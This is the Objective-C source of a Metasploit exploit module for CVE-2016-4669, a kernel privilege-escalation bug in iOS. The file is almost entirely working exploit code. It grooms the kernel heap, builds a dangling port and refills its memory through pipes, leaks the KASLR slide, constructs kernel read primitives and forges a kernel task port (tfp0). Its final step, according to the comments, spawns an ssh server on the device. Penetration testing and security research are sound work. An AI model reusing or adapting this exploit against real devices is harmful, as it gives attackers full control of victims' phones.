metasploit-framework/external/source/exploits/CVE-2016-4669/macho.m

1021 lines
27 KiB
Mathematica

// [1] https://bugs.chromium.org/p/project-zero/issues/detail?id=882
// [2] http://newosxbook.com/files/PhJB.pdf
// [3] https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core
@import Foundation;
#include <stdio.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>
#include <mach/mach.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <spawn.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdint.h>
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>
#include <mach/clock.h>
#include <errno.h>
#include <mach/task.h>
#include "__task.h"
#include "utils.h"
#include "shell.h"
#include "offsets.h"
typedef union
{
uint32_t *p32;
uint16_t *p16;
uint8_t *p8;
void *p;
uint32_t u32;
} many_ptr_t;
extern kern_return_t __mach_ports_register
(
task_t target_task,
mach_port_array_t init_port_set,
mach_msg_type_number_t init_port_setCnt
);
// Definitions not covered by standard headers
extern kern_return_t mach_zone_force_gc(mach_port_t);
extern host_name_port_t mach_host_self(void);
kern_return_t (* mach_vm_read)(vm_map_t target_task, mach_vm_address_t address,
mach_vm_size_t size, vm_offset_t *data,
mach_msg_type_number_t *dataCnt);
kern_return_t (* mach_vm_read_overwrite)(vm_map_t target_task, mach_vm_address_t address,
mach_vm_size_t size, mach_vm_address_t data,
mach_vm_size_t *out_size);
kern_return_t (* mach_vm_write)(vm_map_t target_task, mach_vm_address_t address,
vm_offset_t data, mach_msg_type_number_t dataCnt);
kern_return_t (* mach_vm_deallocate)(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
kern_return_t (*io_service_add_notification_ool)(mach_port_t,
char *,
io_buf_ptr_t,
mach_msg_type_number_t,
mach_port_t,
unsigned *,
mach_msg_type_number_t,
kern_return_t *,
mach_port_t *);
kern_return_t (* IOMasterPort)(mach_port_t , mach_port_t *);
#define resolve(name) \
{\
name = dlsym(RTLD_DEFAULT, ""#name"");\
if (!name) {\
LOG("could not resolve " #name "");\
exit(-1);\
}\
}\
#define BAD_ADDR ((addr_t)-1)
// Kernel offsets
static struct {
addr_t kernel_task;
addr_t system_clock;
addr_t base;
} koffsets = {
.kernel_task = 0x8038c090,
.system_clock = 0x80338e68,
.base = 0x80001000,
};
static mach_port_t master = MACH_PORT_NULL;
static mach_port_t tfp0 = MACH_PORT_NULL;
int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp));
#define PORT_SIZE 0x70
#define IKOT_TASK 2
#define IKOT_CLOCK 25
#define IO_ACTIVE 0x80000000
#define off(x) (x)
#define off16(x) (x/2)
#define off32(x) (x/4)
#define KALLOC_8_CNT 0x800
// The amount of ports we are planing to
// decommission during allocator garbage collection.
// Each page has 0x24 ports and we are allocating
// one pipe per page. Sp this is how many ports
// we will have for 0x400 pipes.
#define DECOM_PORTS_CNT (0x24*0x400)
#define PIPES_CNT 0xf80
#define PAGE_PORTS_CNT 0x500
#define X10_ALLOC_CNT 0x10
#define NOTIFY_CNT 0x800
#define INIT_IP_RIGHTS 0x41
void set_page_buffer_ports(char *buf, void (^fill)(many_ptr_t *mp, int ))
{
for (int i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {
many_ptr_t mp;
mp.p = buf + i;
fill(&mp, i);
}
}
int set_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp))
{
char buf[PAGE_SIZE];
memset(buf, 0, sizeof(buf));
return __update_super_port(pipe, off, buf, fill);
}
int update_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp))
{
return __update_super_port(pipe, off, NULL, fill);
}
void gc()
{
kern_return_t kr = mach_zone_force_gc(mach_host_self());
if (kr != KERN_SUCCESS) {
LOG("zone gc failed: %d", kr);
exit(-1);
}
}
int mach_ports_register_oob()
{
mach_port_t ports[3];
ports[0] = 0;
ports[1] = 0;
ports[2] = 0;
// we've patched the generated code for mach_ports_register to only actually send one OOL port
// but still set init_port_setCnt to the value passed here
return __mach_ports_register(mach_task_self(), ports, 3);
}
// Trigger the bug and create a dangling port pointer.
// Returns a ports list so that dangling port memory block
// is placed somewhere amongst blocks from that list.
mach_port_t *setup_super_port(mach_port_t *super_port, size_t ports_count)
{
mach_port_t kalloc_8_ports[KALLOC_8_CNT];
for (int i=0; i<KALLOC_8_CNT; i++) {
kalloc_8_ports[i] = alloc_port();
}
// We allocate a lot of ports, so they occupy full pages
// after some point, later on when we free those
// ports, pages are decommissioned for use by other
// allocation zones.
mach_port_t *ports_to_decom = calloc(ports_count, sizeof(mach_port_t));
for (int i=0; i<ports_count/2; i++) {
ports_to_decom[i] = alloc_port();
}
// we hope this port going to be a part of a decommissioned page
*super_port = alloc_port();
// allocate more pages
for (int i=ports_count/2; i<ports_count; i++) {
ports_to_decom[i] = alloc_port();
}
// allocate ool port messages in 8-kalloc with two super_port pointers each
for (int i=0; i<KALLOC_8_CNT; i++) {
kalloc_8_ool_ports(kalloc_8_ports[i], *super_port);
}
// free every 4th one
for (int i=0; i<KALLOC_8_CNT; i+=4) {
discard_message(kalloc_8_ports[i]);
}
// Call bugged mach_ports_register, which is
// going to allocate space for two port pointers
// (grabbing a block from 8-kalloc, which is hopefully
// surrounded by our ool ports) and read the third one
// out of bounds.
kern_return_t kr = mach_ports_register_oob();
if (kr != KERN_SUCCESS) {
LOG("could not register oob");
return NULL;
}
LOG("oob port registered ");
// free the rest of the messages
for (int i=1; i<KALLOC_8_CNT; i++) {
if (i % 4)
discard_message(kalloc_8_ports[i]);
}
return ports_to_decom;
}
// We check for INIT_IP_RIGHTS + 1 in ip_srights field, which
// should have been set by mach_ports_lookup.
bool is_port_pipe(char *buf, unsigned *off)
{
for (unsigned i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {
many_ptr_t mp;
mp.p = buf + i;
if (mp.p32[off32(IPC_PORT_ip_srights)] == INIT_IP_RIGHTS + 1) {
*off = i;
return true;
}
}
return false;
}
// we always leave pipe full, after read/write
// for consistency.
//
// -1 if failed, otherwise pipe index in @pipes array
int find_port_pipe(int * pipes, unsigned *off)
{
for (int i=0; PIPES_CNT; i++) {
int *pipe = &pipes[i*2];
char buf[PAGE_SIZE-1];
int cnt = read(pipe[0], buf, sizeof(buf));
if (cnt != sizeof(buf)) {
LOG("could not read pipe %d", i);
return -1;
}
if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
LOG("pipe write failed");
return -1;
}
if (is_port_pipe(buf, off)) {
return i;
}
}
return -1;
}
int find_in_pipes(int *pipes, unsigned *off, bool (^find)(many_ptr_t *mp))
{
for (int i=0; PIPES_CNT; i++) {
int *pipe = &pipes[i*2];
char buf[PAGE_SIZE-1];
int cnt = read(pipe[0], buf, sizeof(buf));
if (cnt != sizeof(buf)) {
LOG("could not read pipe %x, cnt: %d", i, cnt);
return -1;
}
if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
LOG("pipe write failed");
return -1;
}
for (unsigned j=0; j<PAGE_SIZE; j+=PORT_SIZE) {
many_ptr_t mp;
mp.p = buf + j;
if (find(&mp)) {
*off = j;
return i;
}
}
}
return -1;
}
int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp))
{
char __buf[PAGE_SIZE];
int ret = read(pipe[0], __buf, PAGE_SIZE-1);
if (ret != PAGE_SIZE-1) {
return -1;
}
if (buf == NULL)
buf = __buf;
many_ptr_t mp;
mp.p = buf + off;
fill(&mp);
ret = write(pipe[1], buf, PAGE_SIZE-1);
if (ret != PAGE_SIZE-1) {
return -1;
}
return 0;
}
int super_port_read(int pipe[2], unsigned pipe_off,
void (^reader)(many_ptr_t *mp))
{
char buf[PAGE_SIZE];
int ret = read(pipe[0], buf, PAGE_SIZE-1);
if (ret != PAGE_SIZE-1) {
return -1;
}
ret = write(pipe[1], buf, PAGE_SIZE-1);
if (ret != PAGE_SIZE-1) {
return -1;
}
many_ptr_t mp;
mp.p = buf + pipe_off;
reader(&mp);
return 0;
}
addr_t get_kaslr_slide(mach_port_t port, int pipe[2], unsigned off)
{
kern_return_t kr = 0;
set_super_port(pipe, off, ^(many_ptr_t *mp) {
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_CLOCK;
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
});
for (int i=0; i<0x200; i++) {
addr_t slide = i << 21;
update_super_port(pipe, off, ^(many_ptr_t *mp) {
mp->p32[off32(IPC_PORT_kobject)] = koffsets.system_clock + slide;
});
kr = clock_sleep_trap(port, 0, 0, 0, 0);
if (kr == KERN_SUCCESS) {
return slide;
}
}
return BAD_ADDR;
}
int super_port_to_tfp0(int pipe[2], unsigned off, addr_t task0, addr_t space0,
addr_t port_addr)
{
set_super_port(pipe, off, ^(many_ptr_t *mp) {
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_TASK;
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
mp->p32[off32(IPC_PORT_receiver)] = space0;
mp->p32[off32(IPC_PORT_kobject)] = task0;
// we don't do notify in mach_ports_register
mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;
mp->p32[off32(IPC_PORT_ip_messages_imq_next)] =
port_addr + IPC_PORT_ip_messages_imq_next;
mp->p32[off32(IPC_PORT_ip_messages_imq_prev)] =
port_addr + IPC_PORT_ip_messages_imq_prev;
mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 0x10;
mp->p32[off32(0x14)] = 6;
mp->p32[off32(0x18)] = 0;
});
return 0;
}
void kread(uint64_t from, void *to, size_t size)
{
#define BLOCK_SIZE 0xf00
mach_vm_size_t outsize = size;
size_t szt = size;
if (size > BLOCK_SIZE) {
size = BLOCK_SIZE;
}
size_t off = 0;
while (1) {
kern_return_t kr = mach_vm_read_overwrite(tfp0, off+from,
size, (mach_vm_offset_t)(off+to), &outsize);
if (kr != KERN_SUCCESS) {
LOG("mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr);
return;
}
szt -= size;
off += size;
if (szt == 0) {
break;
}
size = szt;
if (size > BLOCK_SIZE) {
size = BLOCK_SIZE;
}
}
#undef BLOCK_SIZE
}
uint32_t kr32(addr_t from)
{
kern_return_t kr;
vm_offset_t buf = 0;
mach_msg_type_number_t num = 0;
kr = mach_vm_read(tfp0,
from,
4,
&buf,
&num);
if (kr != KERN_SUCCESS) {
LOG("mach_vm_read failed!\n");
return 0;
}
uint32_t val = *(uint32_t*)buf;
mach_vm_deallocate(mach_task_self(), buf, num);
return val;
}
uint32_t kw32(addr_t to, uint32_t v)
{
kern_return_t kr;
kr = mach_vm_write(tfp0,
to,
(vm_offset_t)&v,
(mach_msg_type_number_t)4);
if (kr != KERN_SUCCESS) {
LOG("mach_vm_write failed!\n");
}
return kr;
}
int kread0_32(addr_t addr, void *result, mach_port_t super_port,
mach_port_t context_port)
{
kern_return_t kr = mach_port_set_context(mach_task_self(),
context_port, addr - 8);
if (kr != KERN_SUCCESS) {
LOG("mach_port_set_context failed: %d", kr);
return -1;
}
kr = pid_for_task(super_port, (int *)result);
if (kr != KERN_SUCCESS) {
LOG("pid_for_task failed: %d", kr);
return -2;
}
return 0;
}
static void khexdump0(addr_t ptr, size_t n, mach_port_t port, mach_port_t ctx_port)
{
for (int i=0; i<n; i+=2) {
uint32_t v1, v2;
kread0_32(ptr+i*4, &v1, port, ctx_port);
kread0_32(ptr+(i+1)*4, &v2, port, ctx_port);
LOG("%08X %08X", v1, v2);
}
}
static void khexdump(addr_t ptr, size_t n)
{
for (int i=0; i<n; i+=2) {
uint32_t v1, v2;
v1 = kr32(ptr+i*4);
v2 = kr32(ptr+(i+1)*4);
LOG("%08X %08X", v1, v2);
}
}
void * alloc_x10_make_xml(int count, uint32_t data[4])
{
char *ok_dict = malloc(0x100000);
unsigned pos = 0;
pos = sprintf(ok_dict, "<dict><key>a</key><array>");
for (int i=0; i<count; i++) {
pos += sprintf(ok_dict + pos,
"<data format=\"hex\">%08x%08x%08x%08x</data>",
htonl(data[0]), htonl(data[1]),
htonl(data[2]), htonl(data[3]));
}
sprintf(ok_dict+pos, "</array></dict>");
return ok_dict;
}
io_service_t alloc_x10_alloc(void *xml)
{
kern_return_t another_error = 0;
io_service_t i = MACH_PORT_NULL;
kern_return_t kr = io_service_add_notification_ool(master,
"IOServicePublish",
xml,
strlen(xml)+1,
MACH_PORT_NULL,
NULL,
0,
&another_error,
&i);
if (kr != KERN_SUCCESS || another_error != KERN_SUCCESS) {
LOG("io_service_add_notification_ool failed %d, %d",
kr, another_error);
return MACH_PORT_NULL;
}
return i;
}
addr_t kread0_port_addr(addr_t space,
mach_port_t port, mach_port_t super_port,
mach_port_t ctx_port)
{
addr_t is_table_size;
addr_t is_table;
addr_t addr;
kern_return_t kr = KERN_SUCCESS;
kr = kread0_32(space + SPACE_is_table_size, &is_table_size,
super_port, ctx_port);
if (kr != KERN_SUCCESS) {
return 0;
}
kr = kread0_32(space + SPACE_is_table, &is_table,
super_port, ctx_port);
if (kr != KERN_SUCCESS) {
return 0;
}
kr = kread0_32(is_table + (port >> 8)*0x10, &addr,
super_port, ctx_port);
if (kr != KERN_SUCCESS) {
return 0;
}
return addr;
}
#include <sys/types.h>
#include <sys/sysctl.h>
// This is an exploit for vulnerability described in [1].
//
// To start lets roughly out like the exploit process. It's very
// similar to what detailed in [2]. The only difference
// is we don't use an information leak bug.
//
// 1. We fill up 8 bytes kalloc zone with ool ports.
// two port pointers each. We use the same port for all of them.
//
// 2. Free one ool message somewhere in the middle.
//
// 3. Trigger mach_ports_register bug to allocate
// the block we released in 2. with 8 bytes allocation for
// two port pointers and read the third port send right out of bound,
// grabbing one of the pointers we placed into ool port messages without
// proper reference.
//
// 4. Free the port we sent out of line and refill it with a pipe buffers.
//
// 6. Retrieve a dangling port send right via mach_ports_lookup.
//
// 7. Craft a fake IKOT_CLOCK port send right to get kernel slide.
//
// 8. Leak address of a port receive right using mach_port_request_notification on
// a dangling port send right backed by a pipe buffer.
//
// 9. Use leaked port receive right pointer to setup kernel read via pid_for_task as
// described in [2].
//
// 10. Use kernel read to convert dangling port into a kernel task send right.
//
// 11. Spawn ssh server and deploy gnu core utils.
//
// 12. Cleanup and exit.
int main(int argc, char** argv)
{
kern_return_t kr = KERN_SUCCESS;
resolve(io_service_add_notification_ool);
resolve(IOMasterPort);
resolve(mach_vm_read);
resolve(mach_vm_read_overwrite);
resolve(mach_vm_write);
resolve(mach_vm_deallocate);
kr = IOMasterPort(MACH_PORT_NULL, &master);
LOG("master port: %x, kr: %d\n", master, kr);
// First we stop all other thread to reduce the "noise"
for_other_threads(^(thread_act_t t) {
kern_return_t kr = thread_suspend(t);
if (kr != KERN_SUCCESS)
LOG("could not suspend a thread");
});
// Set file limit for our process as high as possible,
// since we are using pipes as refill
set_nofile_limit();
int pipes[PIPES_CNT][2];
mach_port_t *ports_to_decom;
mach_port_t super_port;
// We are going to reclaim decommissioned pages
// with page size allocations via pipes.
// Prepare the buffer first.
char pipe_buf[PAGE_SIZE];
memset(pipe_buf, 0, sizeof(pipe_buf));
// We prepare a very minimal refill, so we don't panic
// in mach_ports_lookup trap when it needs to
// take port lock.
set_page_buffer_ports(pipe_buf, ^(many_ptr_t *mp, int i) {
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
// we set ip_srights to some distinct value, the function
// mach_ports_lookup returns as back a send right
// to the port, hence it increments ip_srights.
// We are going to use that later on to find the
// pipe buffer which captured the pages used
// for the super port.
mp->p32[off32(IPC_PORT_ip_srights)] = INIT_IP_RIGHTS;
});
// create pipe files first
if (pipes_create((int *)pipes, PIPES_CNT) < 0) {
LOG("could not create pipes");
return -1;
}
// Allocate DECOM_PORTS_CNT ports continuously after some point
// and mark one "super" port somewhere in the middle.
// The super port is returned back via super_port argument.
//
// We places super_port without a proper reference into task's itk_registered
// using a bogus mach_ports_register call.
ports_to_decom = setup_super_port(&super_port, DECOM_PORTS_CNT);
if (ports_to_decom == NULL) {
return -1;
}
// exhaust PAGE_SIZE zone so once we trigger the garbage collection
// the allocator is going to start requesting the "fresh" pages.
mach_port_t page_ports[PAGE_PORTS_CNT];
for (int i=0; i<PAGE_PORTS_CNT; i++) {
page_ports[i] = alloc_port();
// allocate a page via mach ool messages
kalloc_page_ool_ports(page_ports[i]);
}
// Free pages to decommission from ports zone.
for (int i=0; i<DECOM_PORTS_CNT; i++) {
mach_port_destroy(mach_task_self(), ports_to_decom[i]);
}
// Release the super port currently residing in
// itk_registered task_t field.
mach_port_destroy(mach_task_self(), super_port);
// Trigger garbage collection
gc();
// Refill decommissioned port pages with pipe buffers
pipes_alloc((int *)pipes, PIPES_CNT, pipe_buf);
mach_port_t *ports = NULL;
mach_msg_type_number_t cnt = 3;
// Get the dangling port pointer back while incrementing
// ip_srights field.
kr = mach_ports_lookup(mach_task_self(), (mach_port_t **)&ports, &cnt);
if (kr != KERN_SUCCESS) {
LOG("mach_ports_lookup failed %x\n", kr);
return -1;
}
super_port = ports[2];
LOG("got fake pipe port: %d", super_port);
// offset within the page where the super port used to reside.
unsigned pipe_off;
// the pipe buffer which reclaimed the super port page.
int super_pipe[2];
int pipe_idx = find_port_pipe((int *)pipes, &pipe_off);
if (pipe_idx >= 0) {
LOG("got port pipe %d, off: %04x\n", pipe_idx, pipe_off);
} else {
LOG("could not find port pipe");
exit(-1);
}
super_pipe[0] = pipes[pipe_idx][0];
super_pipe[1] = pipes[pipe_idx][1];
pipes[pipe_idx][0] = -1;
pipes[pipe_idx][1] = -1;
pipes_close((int *)pipes, PIPES_CNT);
// We have a send right to a port and full control over
// the backing memory via a pipe.
//
// We use method described in [3] to get kernel ASLR slide.
addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off);
LOG("slide: %08lx", slide);
// Now we want to get kernel read using pid_for_task trap trick.
// The details on that can be found in [2].
//
// With control over content of a sand right we can setup a task send right.
// To get a kernel read we would need to have control of at least 4 bytes at
// a known kernel address (KA). Then we can point our send right task object
// to KA - offsetof(struct task, bsd_proc) and place the address we want
// to read from at KA.
//
// To achieve that we are going to leak address of a receive port right
// we can control and use mach_port_set_context to place the address we
// want to read at known address. (port_t ip_context field).
//
// To leak a port address we setup up our super_port so we can register
// a notification port for MACH_NOTIFY_DEAD_NAME via
// mach_port_request_notification.
set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
mp->p32[off32(IPC_PORT_ip_srights)] = 99;
mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 99;
mp->p32[off32(IPC_PORT_ip_messages_imq_msgcount)] = 0;
});
mach_port_t old;
// For pid_for_task call to work we need to make sure
// our fake task object has non zero reference counter.
// The task reference counter field would land at
// ip_pdrequest field of a port located before the port we
// are using to place our address at ip_context. So we spam
// ports with non zero ip_pdrequest, before allocating
// the port.
mach_port_t notify_ports[NOTIFY_CNT];
mach_port_t ref_port = alloc_port();
for (int i=0; i<NOTIFY_CNT/2; i++) {
notify_ports[i] = alloc_port();
// set ip_pdrequest to ref_port address
kr = mach_port_request_notification(mach_task_self(), notify_ports[i],
MACH_NOTIFY_PORT_DESTROYED, 0, ref_port,
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
if (kr != KERN_SUCCESS) {
LOG("mach_port_request_notification failed, %x", kr);
}
}
// create a port to leak the address of
mach_port_t notify_port = alloc_port();
for (int i=NOTIFY_CNT/2; i<NOTIFY_CNT; i++) {
notify_ports[i] = alloc_port();
kr = mach_port_request_notification(mach_task_self(), notify_ports[i],
MACH_NOTIFY_PORT_DESTROYED, 0, ref_port,
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
if (kr != KERN_SUCCESS) {
LOG("mach_port_request_notification failed, %x", kr);
}
}
uint32_t data[4];
memset(data, 0x41, sizeof(data));
// Since ip_requests is NULL our call to mach_port_request_notification
// is going to allocate array of two ipc_port_request structures from 16-kalloc zone
// to be able to place one notification port.
//
// struct ipc_port_request {
// union {
// struct ipc_port *port;
// ipc_port_request_index_t index;
// } notify;
//
// union {
// mach_port_name_t name;
// struct ipc_table_size *size;
// } name;
// };
//
// We want to have some control over the content of the blocks
// around where that 16 bytes block is allocated.
//
// To allocate blocks with controlled data and size we are going to
// use io_service_add_notification_ool, as described in [2].
//
// First we prepare the xml content to trigger the allocations.
void *xml_many = alloc_x10_make_xml(0x800, data);
// fill up 16-kalloc, so further allocation are more
// predictable.
for (int i=0; i<0x20; i++) {
alloc_x10_alloc(xml_many);
}
void *xml_single = alloc_x10_make_xml(1, data);
mach_port_t x10_ports_many[X10_ALLOC_CNT];
mach_port_t x10_ports_single[X10_ALLOC_CNT];
// we allocate large amount of 16 byte blocks
for (int i=0; i<X10_ALLOC_CNT; i++) {
x10_ports_many[i] = alloc_x10_alloc(xml_many);
x10_ports_single[i] = alloc_x10_alloc(xml_single);
}
// Free some of them to "punch holes" in 16-kalloc which
// are surrounded by blocks we control.
for (int i=X10_ALLOC_CNT; i<X10_ALLOC_CNT; i++) {
mach_port_destroy(mach_task_self(), x10_ports_single[i]);
}
// Call to mach_port_request_notification allocates 0x10 bytes
// (two ipc_port_request structs), filling one of the holes
// and stores the block at ip_requests field of ipc_port.
//
// First item in ip_requests has notify.index field indicating first empty
// record position, name.size points to the size of the table.
//
// The second one contains our notification port,
// notify_port is stored as notify.port at offset 8
kr = mach_port_request_notification(mach_task_self(), super_port,
MACH_NOTIFY_DEAD_NAME, 0, notify_port,
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
if (kr != KERN_SUCCESS) {
LOG("mach_port_request_notification failed kr: %x", kr);
exit(-1);
}
// Read back the value allocated via ip_requests.
__block addr_t ip_requests = 0;
super_port_read(super_pipe, pipe_off, ^(many_ptr_t *mp) {
ip_requests = mp->p32[off32(IPC_PORT_ip_requests)];
});
LOG("got ip_requests: %lx", ip_requests);
// -8 we need for +8 pid offset in proc structure.
// + 8 is for second ipc_port_request record.
data[0] = ip_requests - 8 + 8;
free(xml_many);
// now prepare another xml to replace the block we allocated
// before with new data. We place our ip_requests pointer at
// offset 0.
xml_many = alloc_x10_make_xml(0x1000, data);
// free the previous allocation
for (int i=0; i<X10_ALLOC_CNT; i++) {
mach_port_destroy(mach_task_self(), x10_ports_many[i]);
}
// and refill with new content
for (int i=0; i<X10_ALLOC_CNT; i++) {
x10_ports_many[i] = alloc_x10_alloc(xml_many);
}
// We hope that ip_requests + 0x10 was refilled with our
// data which has ip_requests pointer at offset 0.
//
// Now we setup a task port and point kobject to
// ip_requests - offsetof(struct task, bsd_proc) + 0x10,
// so when we call pid_for_task on it we are going to
// get ip_requests + 8, which is the address of notify_port
// we placed there before.
set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
mp->p32[IP_OBJECT_io_bits] = IO_ACTIVE | IKOT_TASK;
// set reference counter so the port is never released
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
mp->p32[off32(IPC_PORT_kobject)] = ip_requests - TASK_bsd_proc + 0x10;
mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;
mp->p32[off32(IPC_PORT_ip_requests)] = ip_requests;
});
addr_t notify_port_addr;
kr = pid_for_task(super_port, (int *)&notify_port_addr);
if (kr != KERN_SUCCESS) {
LOG("pid_for_task failed");
exit(-1);
}
LOG("notify addr: %lx", notify_port_addr);
// Update the content of the task port so when we call pid_for_task
// it's going to use the value of notify_port ip_context field
// as bsd_info.
update_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
mp->p32[off32(IPC_PORT_kobject)] = notify_port_addr - TASK_bsd_proc + IPC_PORT_ip_context;
});
uint32_t dummy = 0;
if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) {
LOG("early kernel read failed");
exit(-1);
}
if (dummy != 0xFEEDFACE) {
LOG("could not setup early kernel read");
exit(-1);
}
LOG("got early kernel read");
// remove our notification port, to be able to safely release the
// super_port later on.
kr = mach_port_request_notification(mach_task_self(), super_port,
MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL,
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
if (kr != KERN_SUCCESS) {
LOG("mach_port_request_notification failed kr: %x", kr);
exit(-1);
}
// The only thing left to get arbitrary kernel read/write is to
// obtain some kernel artifacts.
addr_t kernel_task;
if (kread0_32(koffsets.kernel_task + slide, (uint32_t *)&kernel_task,
super_port, notify_port) < 0) {
exit(0);
}
LOG("kernel_task: %lx", kernel_task);
addr_t kernel_space;
addr_t kernel_itk_self;
kread0_32(kernel_task + TASK_itk_self, (uint32_t *)&kernel_itk_self,
super_port, notify_port);
kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space,
super_port, notify_port);
LOG("kernel_space: %lx", kernel_space);
addr_t self_space;
kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space,
super_port, notify_port);
addr_t super_port_addr = kread0_port_addr(self_space, super_port,
super_port, notify_port);
LOG("super_port_addr: %lx", super_port_addr);
// setup port for kernel task as outlined in [2]
super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space,
super_port_addr);
LOG("got tfp0");
tfp0 = super_port;
// resume thread, otherwise we lose some of
// objective-C runtime functionality.
for_other_threads(^(thread_act_t t) {
kern_return_t kr = thread_resume(t);
if (kr != KERN_SUCCESS)
LOG("could not resume a thread");
});
shell_main(self_space, slide);
ports[0] = 0;
ports[1] = 0;
ports[2] = 0;
mach_ports_register(mach_task_self(), ports, 3);
mach_port_destroy(mach_task_self(), tfp0);
close(super_pipe[0]);
close(super_pipe[1]);
exit(0);
return 0;
}